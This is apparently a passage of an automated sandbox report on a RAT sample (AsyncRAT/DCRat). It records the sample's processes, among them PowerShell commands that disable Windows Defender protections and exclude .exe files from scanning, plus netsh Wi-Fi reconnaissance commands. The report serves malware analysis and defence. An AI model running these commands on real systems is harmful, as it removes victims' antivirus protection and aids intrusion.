Description: Yara detected AsyncRAT, Source: C:\Users\user\AppData\Roaming\Loaader.exe, Author: Joe Security Rule: INDICATOR_SUSPICIOUS_EXE_WMI_EnumerateVideoDevice, Description: Detects executables attemping to enumerate video devices using WMI, Source: C:\Users\user\AppData\Roaming\Loaader.exe, Author: ditekSHen Rule: INDICATOR_SUSPICIOUS_EXE_DcRatBy, Description: Detects executables containing the string DcRatBy, Source: C:\Users\user\AppData\Roaming\Loaader.exe, Author: ditekSHen
Antivirus matches:	Detection: 76%, ReversingLabs
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	8
Start time:	07:52:56
Start date:	23/05/2024
Path:	C:\Users\user\AppData\Roaming\Loaader.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\AppData\Roaming\Loaader.exe"
Imagebase:	0x4c0000
File size:	64'512 bytes
MD5 hash:	B8D455465260A845DB35492FDA5A8888
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: Windows_Trojan_DCRat_1aeea1ac, Description: unknown, Source: 00000008.00000002.1664745743.0000000000B28000.00000004.00000020.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_DCRat_1aeea1ac, Description: unknown, Source: 00000008.00000002.1665242472.0000000002811000.00000004.00000800.00020000.00000000.sdmp, Author: unknown
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	13
Start time:	07:53:16
Start date:	23/05/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	"powershell" Get-MpPreference -verbose
Imagebase:	0x7ff788560000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	14
Start time:	07:53:16
Start date:	23/05/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	16
Start time:	07:53:18
Start date:	23/05/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -DisableArchiveScanning $true
Imagebase:	0x7ff788560000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	17
Start time:	07:53:18
Start date:	23/05/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	18
Start time:	07:53:18
Start date:	23/05/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -DisableBlockAtFirstSeen $true
Imagebase:	0x7ff788560000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	19
Start time:	07:53:19
Start date:	23/05/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	20
Start time:	07:53:19
Start date:	23/05/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -DisableIOAVProtection $true
Imagebase:	0x7ff788560000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	21
Start time:	07:53:19
Start date:	23/05/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	22
Start time:	07:53:19
Start date:	23/05/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -DisablePrivacyMode $true
Imagebase:	0x7ff788560000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	23
Start time:	07:53:19
Start date:	23/05/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	24
Start time:	07:53:19
Start date:	23/05/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -DisableRealtimeMonitoring $true
Imagebase:	0x7ff788560000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	25
Start time:	07:53:19
Start date:	23/05/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	26
Start time:	07:53:19
Start date:	23/05/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -DisableScriptScanning $true
Imagebase:	0x7ff788560000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	27
Start time:	07:53:19
Start date:	23/05/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	28
Start time:	07:53:19
Start date:	23/05/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -HighThreatDefaultAction 6 -Force
Imagebase:	0x7ff788560000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	29
Start time:	07:53:19
Start date:	23/05/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	30
Start time:	07:53:19
Start date:	23/05/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -LowThreatDefaultAction 6
Imagebase:	0x7ff788560000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	31
Start time:	07:53:19
Start date:	23/05/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	32
Start time:	07:53:20
Start date:	23/05/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -MAPSReporting 0
Imagebase:	0x7ff788560000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	33
Start time:	07:53:20
Start date:	23/05/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	34
Start time:	07:53:20
Start date:	23/05/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -ModerateThreatDefaultAction 6
Imagebase:	0x7ff788560000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	35
Start time:	07:53:20
Start date:	23/05/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	36
Start time:	07:53:20
Start date:	23/05/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -SevereThreatDefaultAction 6
Imagebase:	0x7ff788560000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	37
Start time:	07:53:20
Start date:	23/05/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	38
Start time:	07:53:20
Start date:	23/05/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -SignatureDisableUpdateOnStartupWithoutEngine $true
Imagebase:	0x7ff788560000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	39
Start time:	07:53:20
Start date:	23/05/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	40
Start time:	07:53:20
Start date:	23/05/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -SubmitSamplesConsent 2
Imagebase:	0x7ff788560000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	41
Start time:	07:53:20
Start date:	23/05/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	44
Start time:	07:53:36
Start date:	23/05/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add - MpPreference - ExclusionExtension ".exe"
Imagebase:	0x7ff788560000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	45
Start time:	07:53:36
Start date:	23/05/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	46
Start time:	07:53:52
Start date:	23/05/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"cmd.exe" /C chcp 65001 && netsh wlan show profile \| findstr All
Imagebase:	0x7ff672d70000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	47
Start time:	07:53:52
Start date:	23/05/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	48
Start time:	07:53:52
Start date:	23/05/2024
Path:	C:\Windows\System32\chcp.com
Wow64 process (32bit):	false
Commandline:	chcp 65001
Imagebase:	0x7ff73f9d0000
File size:	14'848 bytes
MD5 hash:	33395C4732A49065EA72590B14B64F32
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	49
Start time:	07:53:52
Start date:	23/05/2024
Path:	C:\Windows\System32\netsh.exe
Wow64 process (32bit):	false
Commandline:	netsh wlan show profile
Imagebase:	0x7ff79ab10000
File size:	96'768 bytes
MD5 hash:	6F1E6DD688818BC3D1391D0CC7D597EB
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	50
Start time:	07:53:52
Start date:	23/05/2024
Path:	C:\Windows\System32\findstr.exe
Wow64 process (32bit):	false
Commandline:	findstr All
Imagebase:	0x7ff743a60000
File size:	36'352 bytes
MD5 hash:	804A6AE28E88689E0CF1946A6CB3FEE5
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	51
Start time:	07:53:52
Start date:	23/05/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"cmd.exe" /C chcp 65001 && netsh wlan show networks mode=bssid
Imagebase:	0x7ff672d70000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	52
Start time:	07:53:52
Start date:	23/05/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	53
Start time:	07:53:53
Start date:	23/05/2024
Path:	C:\Windows\System32\chcp.com
Wow64 process (32bit):	false
Commandline:	chcp 65001
Imagebase:	0x7ff73f9d0000
File size:	14'848 bytes
MD5 hash:	33395C4732A49065EA72590B14B64F32
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	54
Start time:	07:53:53
Start date:	23/05/2024
Path:	C:\Windows\System32\netsh.exe
Wow64 process (32bit):	false
Commandline:	netsh wlan show networks mode=bssid
Imagebase:	0x7ff79ab10000
File size:	96'768 bytes
MD5 hash:	6F1E6DD688818BC3D1391D0CC7D597EB
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	29.5%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	100%
Total number of Nodes:	5
Total number of Limit Nodes:	1

Executed Functions

Function 00007FFD9BA131DE Relevance: 1.9, APIs: 1, Instructions: 445
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000000.00000002.1630735444.00007FFD9BA10000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BA10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd9ba10000_t3h7DNer1Q.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b5ac52857b42a568d7c647dab8f510376015d3da2474fa508c70b87c3b85f9e2
Instruction ID: 7511d2b19b4ecd00e0e2e230724f5283f4951e143514ede0c41ce8c9720f551e
Opcode Fuzzy Hash: b5ac52857b42a568d7c647dab8f510376015d3da2474fa508c70b87c3b85f9e2
Instruction Fuzzy Hash: 18C16B31E0DB495FE71DEB6898265F977E1EF95320F0441BED48AC31DBDE68A8068381

Function 00007FFD9BA12AED Relevance: .8, Instructions: 816
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000000.00000002.1630735444.00007FFD9BA10000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BA10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd9ba10000_t3h7DNer1Q.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1da4531819a915f21fe34110cab3cb2066b9febb8e38dd694b86c3283a7844e5
Instruction ID: 0a0dcaf0402f0a35886a0df12d48376353b9f5d42377399ddb8f0f799ee43de6
Opcode Fuzzy Hash: 1da4531819a915f21fe34110cab3cb2066b9febb8e38dd694b86c3283a7844e5
Instruction Fuzzy Hash: E2327B22F0DA490FE7A9EBAC98656F937D1EF99314B0500BED44EC31E7DD68E9028341

Analysis Process: Loaader.exePID: 3808, Parent PID: 1044COMMON

Execution Graph

Execution Coverage:	16.2%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	0%
Total number of Nodes:	15
Total number of Limit Nodes:	1

Executed Functions

Function 00007FFD9BA2318E Relevance: 2.0, APIs: 1, Instructions: 491
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtProtectVirtualMemory.NTDLL ref: 00007FFD9BA23534

Memory Dump Source

Source File: 00000007.00000002.2895883129.00007FFD9BA20000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BA20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7ffd9ba20000_Loaader.jbxd

Similarity

API ID: MemoryProtectVirtual
String ID:
API String ID: 2706961497-0
Opcode ID: 9d79845e7b490be0740e1ce36b95da8d3be65c364fdbd176160edacd0ffccdd3
Instruction ID: 0ab9db6b607f4ebb9d3c290bd0abeb9aa5d615a8ea56a5e684db57ae54e74130
Opcode Fuzzy Hash: 9d79845e7b490be0740e1ce36b95da8d3be65c364fdbd176160edacd0ffccdd3
Instruction Fuzzy Hash: 49D16B31E0DB4D4FEB1DAB6898665F937E1EF96320F0441BED44AC31D7DE68A8068381

Function 00007FFD9BA23468 Relevance: 1.6, APIs: 1, Instructions: 126nativeCOMMON

Download Yara Rule

APIs

NtProtectVirtualMemory.NTDLL ref: 00007FFD9BA23534

Memory Dump Source

Source File: 00000007.00000002.2895883129.00007FFD9BA20000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BA20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7ffd9ba20000_Loaader.jbxd

Similarity

API ID: MemoryProtectVirtual
String ID:
API String ID: 2706961497-0
Opcode ID: 40c78736d6012d6ae107c969e3e146911fb3b0a551fef9e8684ad1d7f1701bab
Instruction ID: 325f7745528b3b2d25318c55d50e934b3ccb326e49d0b9573f149a97fb328c0c
Opcode Fuzzy Hash: 40c78736d6012d6ae107c969e3e146911fb3b0a551fef9e8684ad1d7f1701bab
Instruction Fuzzy Hash: 3E31B531A1CB4C4FDB189B5C98166FD77E1EB99320F00426EE04ED3296CA71A8458BC1

Function 00007FFD9BC1C37D Relevance: 1.7, APIs: 1, Instructions: 161COMMON

Download Yara Rule

APIs

SendARP.IPHLPAPI ref: 00007FFD9BC1C468

Memory Dump Source

Source File: 00000007.00000002.2900239338.00007FFD9BBF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BBF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7ffd9bbf0000_Loaader.jbxd

Similarity

API ID: Send
String ID:
API String ID: 121738739-0
Opcode ID: e8dec0364cdee00ec2292c0b3403b30f9c28f83aa16d0ad1257417b1c53c12f2
Instruction ID: c7b68049f3e3cf2159a19fd200538d281929e7d31e459a2e4c6d66c03245207d
Opcode Fuzzy Hash: e8dec0364cdee00ec2292c0b3403b30f9c28f83aa16d0ad1257417b1c53c12f2
Instruction Fuzzy Hash: F041273090D7884FC71ADBA898556F9BFF0FB96311F0542BFD049D71A2CB646816C791

Analysis Process: Loaader.exePID: 5172, Parent PID: 3336COMMON

Execution Graph

Execution Coverage:	29.8%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	0%
Total number of Nodes:	5
Total number of Limit Nodes:	1

Executed Functions

Function 00007FFD9BA131DE Relevance: 1.9, APIs: 1, Instructions: 445
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000008.00000002.1669419776.00007FFD9BA10000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BA10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ffd9ba10000_Loaader.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b5ac52857b42a568d7c647dab8f510376015d3da2474fa508c70b87c3b85f9e2
Instruction ID: 7511d2b19b4ecd00e0e2e230724f5283f4951e143514ede0c41ce8c9720f551e
Opcode Fuzzy Hash: b5ac52857b42a568d7c647dab8f510376015d3da2474fa508c70b87c3b85f9e2
Instruction Fuzzy Hash: 18C16B31E0DB495FE71DEB6898265F977E1EF95320F0441BED48AC31DBDE68A8068381

Analysis Process: powershell.exePID: 7572, Parent PID: 3808COMMON

Executed Functions

Function 00007FFD9BA18FCE Relevance: .2, Instructions: 228COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.2040729583.00007FFD9BA10000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BA10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ffd9ba10000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 52eed76492fb0ba839bbd6b8fe33912a41ac7546c31ccc733428cbba68068f95
Instruction ID: 97c28682a3a583b700a412feb707d7f1893ee9b5d5cdcef021a38c414b799091
Opcode Fuzzy Hash: 52eed76492fb0ba839bbd6b8fe33912a41ac7546c31ccc733428cbba68068f95
Instruction Fuzzy Hash: 8E01813150D7C88FCB569F6848284A47FF0EF1620070A41E7D488CB073D7699D09C782

Function 00007FFD9B8FE384 Relevance: .1, Instructions: 126COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.2040220579.00007FFD9B8FD000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8FD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ffd9b8fd000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e6affc4e42f6a0b877778bdc911f5e7de2246591b5943430e78efca1bd8cfbd9
Instruction ID: 5dd2caa160f8d1f54eeb8ea0629646472149042eadfb22d181f871996ee3438e
Opcode Fuzzy Hash: e6affc4e42f6a0b877778bdc911f5e7de2246591b5943430e78efca1bd8cfbd9
Instruction Fuzzy Hash: D541267190EBC84FE7568F2898559523FF0EF5A321B1601EFD088CB5A3D625BC46C792

Function 00007FFD9BA19738 Relevance: .1, Instructions: 101COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.2040729583.00007FFD9BA10000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BA10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ffd9ba10000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c99ae07af3222b2d20af757b1b9f75b474345d116a0c0bf0248d8c4cee16e2be
Instruction ID: 68fdd339871bd43182b0e1cd2c400f8aa555a23152425eeac6479b521529e4d2
Opcode Fuzzy Hash: c99ae07af3222b2d20af757b1b9f75b474345d116a0c0bf0248d8c4cee16e2be
Instruction Fuzzy Hash: 16212930A0CB4C4FEB59DFAC984A7E97BE0EB96321F04426FD449C3152DA74A416CB91

Function 00007FFD9BA133B5 Relevance: .0, Instructions: 49COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.2040729583.00007FFD9BA10000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BA10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ffd9ba10000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5e0cd8e44b86cda1606cdcda3d5cd9c82b965f1b77ca43a9ede1ee8a995a9426
Instruction ID: a55e2f9db695d2b793887dbbac947a38dbbc7038fa19d01ed2a818b736cadb46
Opcode Fuzzy Hash: 5e0cd8e44b86cda1606cdcda3d5cd9c82b965f1b77ca43a9ede1ee8a995a9426
Instruction Fuzzy Hash: 0201677121CB0C4FDB48EF0CE451AA5B7E0FB95364F10056EE58AC36A5DB36E882CB45

Function 00007FFD9BAE3172 Relevance: .0, Instructions: 39COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.2041401062.00007FFD9BAE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ffd9bae0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 335ca5e106e433d73d5146637fbbfe8930ff74c295c728f3ffffb425581bb93d
Instruction ID: 7596395549c4582e2a89ecf437b642e7e4cd983d145498a2df1db0a232489a29
Opcode Fuzzy Hash: 335ca5e106e433d73d5146637fbbfe8930ff74c295c728f3ffffb425581bb93d
